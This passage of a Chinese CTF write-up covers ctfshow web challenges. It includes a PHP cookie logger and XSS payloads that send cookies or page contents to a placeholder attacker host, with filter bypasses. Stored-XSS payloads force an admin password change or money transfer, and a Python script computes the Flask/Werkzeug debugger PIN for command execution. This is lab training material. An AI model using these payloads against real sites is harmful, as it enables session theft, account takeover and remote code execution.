fwrite($log, $cookie . "\n");
fclose($log);
?>
<script>alert("hello!xss!");</script>

最后传payload过去就可以了,访问cookie.txt就能看到flag
image.png

web317-319

这几题都是上面那个过滤了script
绕过就可以了

<body onload="document.location.href='http://xxxxx:2224/xss2.php?c='+document.cookie">

web320-326

这几题在上面的基础上过滤了空格,可以用//**/tab绕过

<body/onload="document.location.href='http://xxxxx:2224/xss2.php?c='+document.cookie">

web327

image.png
上面都写了是存储型的xss,只要收件人写admin,信的内容写xss代码就可以了

<script>document.location.href='http://xxxxx/xss2.php?c='+document.cookie</script>

web328

image.png
上来就是一个登录窗口,直接用xss代码作为用户名密码注册一个然后登录,这样管理员登陆的时候就会发他的cookie过来

<script>document.location.href='http://xxxxx:2224/xss2.php?c='+document.cookie</script>

image.png
在cookie里改一下这个PHPSESSID,然后访问用户管理界面就能看到flag了
image.png

web329

这题和上一题不一样的地方就是他管理员每次登录之后立马下线,然后用之前的PHPSESSID就无效了,所以我们就需要在登陆的那一下子获取flag,可以使用indexOf()函数,在用户管理界面搜索flag然后直接发过去

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctf'+'show{')==0){
        window.location.href='http://xxxxx:2224/xss2.php?c='+value.innerHTML; 
    }
});
</script>

或者

var website="http://xxxxx/xss2.php";
(function(){(new Image()).src=website+'/?c='+escape(document.getElementsByClassName("layui-form layui-border-box layui-table-view")[0].innerHTML)})();

web330

image.png
这次多了一个修改密码的功能,抓包看到这个的url是这样的
image.png
上面的那些方法已经不管用了,于是就要在这里入手
我们可以注册一个带修改密码的xss代码的账号,然后登录把xss代码放进登录的界面(注册了才能登录啊),这样管理员登录的时候就会给他的密码修改了

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

然后再登录admin123
在用户管理找到flag

web331

这题改成post传修改的密码了
image.png
/js/select.js里能看到
image.png
所以payload变成

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

同样的是注册完之后登录然后admin密码被修改成123
登录admin然后进去管理就可以了

web332

image.png
多了一个转账汇款和购买flag的界面,购买flag那里说要9999元但是账户里只有5元
转账的时候抓包看到是post两个参数用户名u和金额a
image.png
这下就可以先注册,然后按照上面的方法让admin给我们转个10000元,然后直接购买flag就有了

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'gdd',a:'10000'}});</script>

web333

跟上题一样用xss出,但是一起上一题是可以通过转负数的钱的方法做出来的,然后现在这个修好了

常用姿势

web801

进去是一个文件读取
image.png

尝试读flag然后非预期解了
image.png

正常来说这是一个flask报错算pin码的题目
image.png
输入一个不正确的文件路径他就会报错

pin码就是一个进入flask调试模式的密码,可以用脚本算出来
生成pin码需要以下六个参数:

  1. username 可以是app root appweb flaskweb,在/etc/passwd读出来
  2. modname 默认是flask.app
  3. appname 默认是Flask
  4. moddir 这是app.py的绝对路径,报错信息就有,如上面的是/usr/local/lib/python3.8/site-packages/flask/app.py
  5. uuidnode 机器mac地址(十进制),可以读取 /sys/class/net/eth0/address或者** /sys/class/net/ens33/address **得到,再去python用int(‘’,16)转换就可以
  6. machine_id 机器码,可以通过**/etc/machine-id/proc/sys/kernel/random/boot_id获取前半部分,/proc/self/cgroup**获取后半部分,docker环境只需要获取后面两个,别的就三个都要

然后通过下面的脚本算出pin码

import hashlib
from itertools import chain
probably_public_bits = [
    'root'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485410388611',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '310e09efcc43ceb10e426a0ffc99add5c651575fe93627e6019400d4520272ed'#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
else:
    rv = num

print(rv)

注意一下python3.7和3.8的脚本是不一样的,第十五行,3.8用的sha1,3.7用的md5

最后点击报错右边的小黑框输入pin码就可以调试然后命令执行了